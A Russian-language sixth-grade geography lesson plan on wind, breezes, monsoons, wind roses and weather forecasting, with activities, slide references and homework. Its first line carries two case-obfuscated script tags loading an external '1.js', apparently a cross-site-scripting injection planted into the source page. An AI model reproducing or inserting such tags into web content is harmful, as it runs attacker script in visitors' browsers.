<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Токтамысская

средняя школа

Краткосрочный

план учителя географии Куриленко Евгения Николаевича

20.01.2017

6  класс

География

Урок № 37

Раздел

Атмосфера

Тема урока

Ветер. Погода

Цель урока

К концу урока

учащиеся имеют представление об образовании ветра, знакомы с видами ветров;

Критерии успеха

Учащиеся

смогут:

Ø 

Приводить

примеры видов ветров;

Ø 

Называть

причины возникновения ветра;

Ø 

Вычерчивать

розу ветров и анализировать её;

Ø 

Объяснять

причины изменения погоды

Языковые цели

Предметный

словарный запас и терминология:

Ø  Ветер, флюгер, бриз, муссон, ночной бриз,

дневной бриз, лёгкий ветер, роза ветров, погода, воздушные массы, прогноз

погоды, карта погоды

Ресурсы

Компьютер,

проектор, интерактивная доска, электронная презентация, карточки с заданиями,

Демонстрации

Ветер за окном

(если будет)

Предыдущее обучение

Туман и облака. Атмосферные

осадки

Домашнее задание

П. 34-35  Стр. 95-102  

Подготовиться к проверке знаний

по разделу «Атмосфера»

Присутствовали: _____

Отсутствовали: _____

Содержание

Учитель

Ученики

Организационный момент.

Загадка о ветре

Формирование темы урока

Актуализирует

внимание

Учащихся

Направляет

Слайды 1-2

Слушают

Разгадывают

загадку

Предлагают тему

урока

Проверка домашнего задания.

Горячий стул

Организует

работу класса

Слайд 3

Задают вопросы

выступающему (3-4 вопроса),

слушают ответы,

участвуют в

дискуссии,

оценивают лучший

вопрос

Изучение нового материала.

Объясняет новую

тему, используя электронную презентацию

Слайды 4-20

Внимательно

слушают,

Заполняют

таблицу

Работа в парах по заданию:

1. Значение ветра.

            Положит.

и отрицат стороны

2. Погода. Элементы погоды.             Бризы и муссоны

3. Воздушные массы

4. Прогноз погоды

5. Признаки погоды и признаки перемены погоды

Слайд 21

Выполняют

задание

Выступление пар с результатами работы

Оценивает работу

пар согласно критериев

Слайд 22

Выступают

с результатами

Закрепление изученного.

Индивидуальная работа с вопросами на соответствие

Самооценивание

Организует

работу класса

 Слайд 23-24

Отвечают на

вопросы по изученному материалу, проверяют и оценивают сами себя согласно

критериев на доске

Индивидуальная работа.

Вычерчивание розы ветров по заданию

Слайд 25

Вычерчивают

розу ветров в карточках, сдают учителю на проверку

Домашнее задание

П. 34-35  Стр. 95-102 

подготовиться к проверке знаний по разделу «Атмосфера»

Слайд 26

Записывают в

дневник

Рефлексия

Слайд 27

n  Что

нового я узнал сегодня на уроке?

n  Какое

задание мне было особенно сложно (легко) выполнить?

n  Оцените

работу своей пары?

n  Что

на уроке Вам сегодня не понравилось?

Изучаемый материал

Всё

понятно

Есть вопросы

Непонятно

1.    

Ветер.

Определение.                Причина

образования ветра

2. Определение скорости и направления ветра

3. Виды ветров (бриз, муссон)

4. Роза ветров